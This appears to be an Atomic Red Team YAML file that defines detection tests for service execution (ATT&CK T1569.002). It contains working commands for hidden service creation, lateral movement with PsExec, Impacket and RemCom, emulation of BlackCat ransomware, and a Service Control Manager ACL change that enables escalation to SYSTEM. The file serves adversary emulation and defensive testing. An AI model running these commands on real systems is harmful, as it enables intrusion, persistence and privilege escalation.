Mattis
9e93193646
Co-authored-by: Mattis Swannet <mattis.swannet@nynox.eu> Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
232 lines
11 KiB
YAML
232 lines
11 KiB
YAML
attack_technique: T1569.002
|
||
display_name: 'System Services: Service Execution'
|
||
atomic_tests:
|
||
- name: Execute a Command as a Service
|
||
auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1
|
||
description: |
|
||
Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.
|
||
|
||
Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`
|
||
|
||
[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)
|
||
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
service_name:
|
||
description: Name of service to create
|
||
type: string
|
||
default: ARTService
|
||
executable_command:
|
||
description: Command to execute as a service
|
||
type: string
|
||
default: '%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt'
|
||
executor:
|
||
command: |
|
||
sc.exe create #{service_name} binPath= "#{executable_command}"
|
||
sc.exe start #{service_name}
|
||
sc.exe delete #{service_name}
|
||
cleanup_command: |
|
||
del C:\art-marker.txt >nul 2>&1
|
||
name: command_prompt
|
||
elevation_required: true
|
||
- name: Use PsExec to execute a command on a remote host
|
||
auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c
|
||
description: |
|
||
Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
|
||
Will start a process on a remote host.
|
||
|
||
Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
remote_host:
|
||
description: Remote hostname or IP address
|
||
type: string
|
||
default: localhost
|
||
user_name:
|
||
description: Username
|
||
type: string
|
||
default: DOMAIN\Administrator
|
||
password:
|
||
description: Password
|
||
type: string
|
||
default: P@ssw0rd1
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
PsExec tool from Sysinternals must exist in the ExternalPayloads directory
|
||
prereq_command: |
|
||
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
|
||
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
|
||
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
|
||
executor:
|
||
command: |
|
||
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"
|
||
name: command_prompt
|
||
elevation_required: true
|
||
- name: psexec.py (Impacket)
|
||
auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35
|
||
description: |
|
||
Will execute a command on the remote host with Impacket psexec.py script.
|
||
supported_platforms:
|
||
- linux
|
||
input_arguments:
|
||
remote_host:
|
||
description: Remote hostname or IP address
|
||
type: string
|
||
default: "127.0.0.1"
|
||
username:
|
||
description: Username
|
||
type: string
|
||
default: "Administrator"
|
||
domain:
|
||
description: Target domain
|
||
type: string
|
||
default: ""
|
||
password:
|
||
description: Password
|
||
type: string
|
||
default: "P@ssw0rd1"
|
||
command:
|
||
description: Command to execute in target computer
|
||
type: string
|
||
default: "whoami"
|
||
dependency_executor_name: bash
|
||
dependencies:
|
||
- description: |
|
||
psexec.py (Impacket)
|
||
|
||
prereq_command: |
|
||
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
|
||
|
||
get_prereq_command: |
|
||
sudo pip3 install impacket
|
||
|
||
executor:
|
||
command: |
|
||
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
|
||
name: bash
|
||
- name: BlackCat pre-encryption cmds with Lateral Movement
|
||
auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b
|
||
description: This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
targethost:
|
||
description: Target hostname to attempt psexec connection to for emulation of lateral movement.
|
||
type: string
|
||
default: $ENV:COMPUTERNAME
|
||
dependencies:
|
||
- description: |
|
||
PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"
|
||
prereq_command: |
|
||
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
|
||
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
|
||
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
|
||
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
|
||
executor:
|
||
command: |
|
||
cmd.exe /c "wmic csproduct get UUID"
|
||
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
|
||
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
|
||
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
|
||
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
|
||
cmd.exe /c "$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo "--access-token""
|
||
cleanup_command: |
|
||
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
|
||
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0"
|
||
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
|
||
rm $env:temp\psexec.exe
|
||
name: powershell
|
||
elevation_required: true
|
||
|
||
- name: Use RemCom to execute a command on a remote host
|
||
auto_generated_guid: a5d8cdeb-be90-43a9-8b26-cc618deac1e0
|
||
description: |
|
||
Requires having RemCom installed, path to RemCom is one of the input input_arguments
|
||
Will start a process on a remote host.
|
||
Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
remote_host:
|
||
description: Remote hostname or IP address
|
||
type: string
|
||
default: localhost
|
||
user_name:
|
||
description: Username
|
||
type: string
|
||
default: Administrator
|
||
password:
|
||
description: Password
|
||
type: string
|
||
default: P@ssw0rd1
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
RemCom tool must exist on disk in the ExternalPayloads folder
|
||
prereq_command: |
|
||
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||
Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"
|
||
executor:
|
||
command: |
|
||
"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe
|
||
name: command_prompt
|
||
- name: Snake Malware Service Create
|
||
auto_generated_guid: b8db787e-dbea-493c-96cb-9272296ddc49
|
||
description: |
|
||
The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
|
||
This was recently seen in the Snake Malware report.
|
||
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service.
|
||
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
|
||
supported_platforms:
|
||
- windows
|
||
executor:
|
||
command: |
|
||
sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto
|
||
cleanup_command: |
|
||
sc.exe delete "WerFaultSvc"
|
||
name: command_prompt
|
||
elevation_required: true
|
||
- name: Modifying ACL of Service Control Manager via SDET
|
||
auto_generated_guid: bf07f520-3909-4ef5-aa22-877a50f2f77b
|
||
description: |
|
||
Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required.
|
||
[Blog](https://0xv1n.github.io/posts/scmanager/)
|
||
supported_platforms:
|
||
- windows
|
||
executor:
|
||
command: |
|
||
sc.exe sdset scmanager D:(A;;KA;;;WD)
|
||
name: command_prompt
|
||
elevation_required: true
|
||
- name: Pipe Creation - PsExec Tool Execution From Suspicious Locations
|
||
auto_generated_guid: 004a5d68-627b-452d-af3d-43bd1fc75a3b
|
||
description: Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.
|
||
supported_platforms:
|
||
- windows
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
PsExec tool from Sysinternals must exist in the '\Users\Public\Temp\' directory
|
||
prereq_command: |
|
||
if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
|
||
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
|
||
Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force
|
||
executor:
|
||
command: |-
|
||
cd C:\Users\Public\Temp\
|
||
.\PsExec.exe -i -s cmd -accepteula
|
||
name: powershell
|
||
elevation_required: true
|